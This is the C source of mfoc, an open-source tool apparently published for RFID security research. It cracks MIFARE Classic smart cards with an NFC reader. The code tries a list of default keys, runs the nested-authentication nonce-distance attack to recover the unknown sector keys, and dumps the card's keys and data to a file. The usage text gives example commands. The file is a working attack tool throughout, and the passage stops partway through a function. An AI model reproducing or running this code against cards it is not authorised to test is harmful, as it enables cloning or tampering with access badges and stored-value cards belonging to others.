/
mfoc.c
1265 lines (1150 loc) · 45.3 KB
/
mfoc.c
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/*-
* Mifare Classic Offline Cracker
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* Contact: <mifare@nethemba.com>
*
* Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
* Porting to libnfc 1.3.9 and upper: Romuald Conty <romuald@libnfc.org>
*
*/
/*
* This implementation was written based on information provided by the
* following documents:
*
* http://eprint.iacr.org/2009/137.pdf
* http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
* http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
* http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
*/
#define _XOPEN_SOURCE 1 // To enable getopt
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// NFC
#include <nfc/nfc.h>
// Crapto1
#include "crapto1.h"
// Internal
#include "config.h"
#include "mifare.h"
#include "nfc-utils.h"
#include "mfoc.h"
//SLRE
#include "slre.h"
#include "slre.c"
#define MAX_FRAME_LEN 264
static const nfc_modulation nm = {
.nmt = NMT_ISO14443A,
.nbr = NBR_106,
};
nfc_context *context;
uint64_t knownKey = 0;
char knownKeyLetter = 'A';
uint32_t knownSector = 0;
uint32_t unknownSector = 0;
char unknownKeyLetter = 'A';
uint32_t unexpected_random = 0;
int main(int argc, char *const argv[])
{
int ch, i, k, n, j, m;
int key, block;
int succeed = 1;
// Exploit sector
int e_sector;
int probes = DEFAULT_PROBES_NR;
int sets = DEFAULT_SETS_NR;
// By default, dump 'A' keys
int dumpKeysA = true;
bool failure = false;
bool skip = false;
// Next default key specified as option (-k)
uint8_t *defKeys = NULL, *p;
size_t defKeys_len = 0;
// Array with default Mifare Classic keys
uint8_t defaultKeys[][6] = {
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
{0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
{0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
{0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
{0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
{0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
{0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
{0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
{0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
{0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
};
mftag t;
mfreader r;
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
// Pointers to possible keys
pKeys *pk;
countKeys *ck;
// Pointer to already broken keys, except defaults
bKeys *bk;
static mifare_param mp, mtmp;
static mifare_classic_tag mtDump;
mifare_cmd mc;
FILE *pfDump = NULL;
FILE *pfKey = NULL;
//File pointers for the keyfile
FILE * fp;
char line[20];
size_t len = 0;
char * read;
//Regexp declarations
static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])";
struct slre_cap caps[2];
// Parse command line arguments
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) {
switch (ch) {
case 'P':
// Number of probes
if (!(probes = atoi(optarg)) || probes < 1) {
ERR("The number of probes must be a positive number");
exit(EXIT_FAILURE);
}
// fprintf(stdout, "Number of probes: %d\n", probes);
break;
case 'T': {
int res;
// Nonce tolerance range
if (((res = atoi(optarg)) < 0)) {
ERR("The nonce distances range must be a zero or a positive number");
exit(EXIT_FAILURE);
}
d.tolerance = (uint32_t)res;
// fprintf(stdout, "Tolerance number: %d\n", probes);
}
break;
case 'f':
if (!(fp = fopen(optarg, "r"))) {
fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg);
exit(EXIT_FAILURE);
}
while ((read = fgets(line, sizeof(line), fp)) != NULL) {
int i, j = 0, str_len = strlen(line);
while (j < str_len &&
(i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) {
//We've found a key, let's add it to the structure.
p = realloc(defKeys, defKeys_len + 6);
if (!p) {
ERR("Cannot allocate memory for defKeys");
exit(EXIT_FAILURE);
}
defKeys = p;
memset(defKeys + defKeys_len, 0, 6);
num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len);
fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr);
defKeys_len = defKeys_len + 6;
j += i;
}
}
break;
case 'k':
// Add this key to the default keys
p = realloc(defKeys, defKeys_len + 6);
if (!p) {
ERR("Cannot allocate memory for defKeys");
exit(EXIT_FAILURE);
}
defKeys = p;
memset(defKeys + defKeys_len, 0, 6);
num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len);
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
defKeys_len = defKeys_len + 6;
break;
case 'O':
// File output
if (!(pfDump = fopen(optarg, "wb"))) {
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
exit(EXIT_FAILURE);
}
// fprintf(stdout, "Output file: %s\n", optarg);
break;
case 'D':
// Partial File output
if (!(pfKey = fopen(optarg, "w"))) {
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
exit(EXIT_FAILURE);
}
// fprintf(stdout, "Output file: %s\n", optarg);
break;
case 'h':
usage(stdout, 0);
break;
default:
usage(stderr, 1);
break;
}
}
if (!pfDump) {
ERR("parameter -O is mandatory");
exit(EXIT_FAILURE);
}
// Initialize reader/tag structures
mf_init(&r);
if (nfc_initiator_init(r.pdi) < 0) {
nfc_perror(r.pdi, "nfc_initiator_init");
goto error;
}
// Drop the field for a while, so can be reset
if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool activate field");
goto error;
}
// Let the reader only try once to find a tag
if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select");
goto error;
}
// Configure the CRC and Parity settings
if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
goto error;
}
if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool parity");
goto error;
}
/*
// wait for tag to appear
for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
*/
int tag_count;
if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) {
nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
goto error;
} else if (tag_count == 0) {
ERR("No tag found.");
goto error;
}
// Test if a compatible MIFARE tag is used
if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) {
ERR("only Mifare Classic is supported");
goto error;
}
t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4);
// Get Mifare Classic type from SAK
// see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2
switch (t.nt.nti.nai.btSak)
{
case 0x01:
case 0x08:
case 0x88:
if (get_rats_is_2k(t, r)) {
printf("Found Mifare Plus 2k tag\n");
t.num_sectors = NR_TRAILERS_2k;
t.num_blocks = NR_BLOCKS_2k;
} else {
printf("Found Mifare Classic 1k tag\n");
t.num_sectors = NR_TRAILERS_1k;
t.num_blocks = NR_BLOCKS_1k;
}
break;
case 0x09:
printf("Found Mifare Classic Mini tag\n");
t.num_sectors = NR_TRAILERS_MINI;
t.num_blocks = NR_BLOCKS_MINI;
break;
case 0x18:
printf("Found Mifare Classic 4k tag\n");
t.num_sectors = NR_TRAILERS_4k;
t.num_blocks = NR_BLOCKS_4k;
break;
default:
ERR("Cannot determine card type from SAK");
goto error;
}
t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
if (t.sectors == NULL) {
ERR("Cannot allocate memory for t.sectors");
goto error;
}
if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
ERR("Cannot allocate memory for pk");
goto error;
}
if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
ERR("Cannot allocate memory for bk");
goto error;
} else {
bk->brokenKeys = NULL;
bk->size = 0;
}
d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t));
if (d.distances == NULL) {
ERR("Cannot allocate memory for t.distances");
goto error;
}
// Initialize t.sectors, keys are not known yet
for (uint8_t s = 0; s < (t.num_sectors); ++s) {
t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false;
}
print_nfc_target(&t.nt, true);
fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n");
fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n");
// Set the authentication information (uid)
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
// Iterate over all keys (n = number of keys)
n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
size_t defKey_bytes_todo = defKeys_len;
key = 0;
while (key < n || defKey_bytes_todo) {
if (defKey_bytes_todo > 0) {
memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
} else {
memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
key++;
}
fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
fprintf(stdout, "[");
i = 0; // Sector counter
// Iterate over every block, where we haven't found a key yet
for (block = 0; block <= t.num_blocks; ++block) {
if (trailer_block(block)) {
if (!t.sectors[i].foundKeyA) {
mc = MC_AUTH_A;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull keyA authentization
memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[i].foundKeyA = true;
// Although KeyA can never be directly read from the data sector, KeyB can, so
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
// todo - check for duplicates in cracked key list (do we care? will not be huge overhead)
// todo - make code more modular! :)
if (!t.sectors[i].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) {
// print only for debugging as it messes up output!
//fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) {
//fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
//fprintf(stdout, "OK\n");
memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB));
t.sectors[i].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
}
}
// if key reveal failed, try other keys
if (!t.sectors[i].foundKeyB) {
mc = MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
// No success, try next block
t.sectors[i].trailer = block;
} else {
memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[i].foundKeyB = true;
}
}
if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) {
fprintf(stdout, "x");
} else if (t.sectors[i].foundKeyA) {
fprintf(stdout, "/");
} else if (t.sectors[i].foundKeyB) {
fprintf(stdout, "\\");
} else {
fprintf(stdout, ".");
}
fflush(stdout);
// Save position of a trailer block to sector struct
t.sectors[i++].trailer = block;
}
}
fprintf(stdout, "]\n");
}
fprintf(stdout, "\n");
for (i = 0; i < (t.num_sectors); ++i) {
if(t.sectors[i].foundKeyA){
fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)));
memcpy(&knownKey, t.sectors[i].KeyA, 6);
knownKeyLetter = 'A';
knownSector = i;
}
else{
fprintf(stdout, "Sector %02d - Unknown Key A ", i);
unknownSector = i;
unknownKeyLetter = 'A';
}
if(t.sectors[i].foundKeyB){
fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)));
knownKeyLetter = 'B';
memcpy(&knownKey, t.sectors[i].KeyB, 6);
knownSector = i;
}
else{
fprintf(stdout, "Unknown Key B\n");
unknownSector = i;
unknownKeyLetter = 'B';
}
}
fflush(stdout);
// Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
e_sector = find_exploit_sector(t);
//mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
// Recover key from encrypted sectors, j is a sector counter
for (m = 0; m < 2; ++m) {
if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
for (j = 0; j < (t.num_sectors); ++j) {
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
// First, try already broken keys
skip = false;
for (uint32_t o = 0; o < bk->size; o++) {
num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
// if we need KeyB for this sector it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
mf_configure(r.pdi);
mf_anticollision(t, r);
skip = true;
break;
}
}
if (skip) continue; // We have already revealed key, go to the next iteration
// Max probes for auth for each sector
for (k = 0; k < probes; ++k) {
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
if(authresult == -99999){
//for now we return the last sector that is unknown
nfc_close(r.pdi);
nfc_exit(context);
if(pfKey) {
fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
fclose(pfKey);
}
return 9;
}
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
// Configure device to the previous state
mf_configure(r.pdi);
mf_anticollision(t, r);
pk->possibleKeys = NULL;
pk->size = 0;
// We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
mf_configure(r.pdi);
mf_anticollision(t, r);
fprintf(stdout, ".");
fflush(stdout);
}
fprintf(stdout, "\n");
// Get first 15 grouped keys
ck = uniqsort(pk->possibleKeys, pk->size);
for (i = 0; i < TRY_KEYS ; i++) {
// We don't known this key, try to break it
// This key can be found here two or more times
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
mf_configure(r.pdi);
mf_anticollision(t, r);
break;
}
}
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
}
// We haven't found any key, exiting
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
ERR("No success, maybe you should increase the probes");
goto error;
}
}
}
dumpKeysA = false;
}
for (i = 0; i < (t.num_sectors); ++i) {
if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
succeed = 0;
break;
}
}
if (succeed) {
i = t.num_sectors; // Sector counter
fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
// Read all blocks
for (block = t.num_blocks; block >= 0; block--) {
trailer_block(block) ? i-- : i;
failure = true;
// Try A key, auth() + read()
memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_configure(r.pdi);
mf_anticollision(t, r);
} else { // and Read
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) {
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
print_hex(mp.mpd.abtData, 16);
mf_configure(r.pdi);
mf_select_tag(r.pdi, &(t.nt));
failure = false;
} else {
// Error, now try read() with B key
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_configure(r.pdi);
mf_anticollision(t, r);
memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_configure(r.pdi);
mf_anticollision(t, r);
} else { // and Read
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) {
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
print_hex(mp.mpd.abtData, 16);
mf_configure(r.pdi);
mf_select_tag(r.pdi, &(t.nt));
failure = false;
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_configure(r.pdi);
mf_anticollision(t, r);
// ERR ("Error: Read B");
}
}
}
}
if (trailer_block(block)) {
// Copy the keys over from our key dump and store the retrieved access bits
memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6);
memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6);
if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4);
} else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16);
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
}
// Finally save all keys + data to file
uint16_t dump_size = (t.num_blocks + 1) * 16;
if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) {
fprintf(stdout, "Error, cannot write dump\n");
fclose(pfDump);
goto error;
}
fclose(pfDump);
}
free(t.sectors);
free(d.distances);
// Reset the "advanced" configuration to normal
nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true);
nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true);
// Disconnect device and exit
nfc_close(r.pdi);
nfc_exit(context);
exit(EXIT_SUCCESS);
error:
nfc_close(r.pdi);
nfc_exit(context);
exit(EXIT_FAILURE);
}
void usage(FILE *stream, int errno)
{
fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n");
fprintf(stream, "\n");
fprintf(stream, " h print this help and exit\n");
// fprintf(stream, " B instead of 'A' dump 'B' keys\n");
fprintf(stream, " k try the specified key in addition to the default keys\n");
fprintf(stream, " f parses a file of keys to add in addition to the default keys \n");
// fprintf(stream, " D number of distance probes, default is 20\n");
// fprintf(stream, " S number of sets with keystreams, default is 5\n");
fprintf(stream, " P number of probes per sector, instead of default of 20\n");
fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n");
fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n");
fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n");
fprintf(stream, "\n");
fprintf(stream, "Example: mfoc -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
fprintf(stream, "\n");
fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
fprintf(stream, "For more information, run: 'man mfoc'.\n");
exit(errno);
}
void mf_init(mfreader *r)
{
// Connect to the first NFC device
nfc_init(&context);
if (context == NULL) {
ERR("Unable to init libnfc (malloc)");
exit(EXIT_FAILURE);
}
r->pdi = nfc_open(context, NULL);
if (!r->pdi) {
printf("No NFC device found.\n");
exit(EXIT_FAILURE);
}
}
void mf_configure(nfc_device *pdi)
{
if (nfc_initiator_init(pdi) < 0) {
nfc_perror(pdi, "nfc_initiator_init");
exit(EXIT_FAILURE);
}
// Drop the field for a while, so can be reset
if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) {
nfc_perror(pdi, "nfc_device_set_property_bool activate field");
exit(EXIT_FAILURE);
}
// Let the reader only try once to find a tag
if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) {
nfc_perror(pdi, "nfc_device_set_property_bool infinite select");
exit(EXIT_FAILURE);
}
// Configure the CRC and Parity settings
if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) {
nfc_perror(pdi, "nfc_device_set_property_bool crc");
exit(EXIT_FAILURE);
}
if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) {
nfc_perror(pdi, "nfc_device_set_property_bool parity");
exit(EXIT_FAILURE);
}
// Enable the field so more power consuming cards can power themselves up
if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) {
nfc_perror(pdi, "nfc_device_set_property_bool activate field");
exit(EXIT_FAILURE);
}
}
void mf_select_tag(nfc_device *pdi, nfc_target *pnt)
{
if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) {
ERR("Unable to connect to the MIFARE Classic tag");
nfc_close(pdi);
nfc_exit(context);
exit(EXIT_FAILURE);
}
}
int trailer_block(uint32_t block)
{
// Test if we are in the small or big sectors
return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
}
// Return position of sector if it is encrypted with the default key otherwise exit..
int find_exploit_sector(mftag t)
{
int i;
bool interesting = false;
for (i = 0; i < t.num_sectors; i++) {
if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
interesting = true;
break;
}
}
if (!interesting) {
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
return -1;
}
for (i = 0; i < t.num_sectors; i++) {
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
return i;
}
}
ERR("\n\nNo sector encrypted with the default key has been found, exiting..");
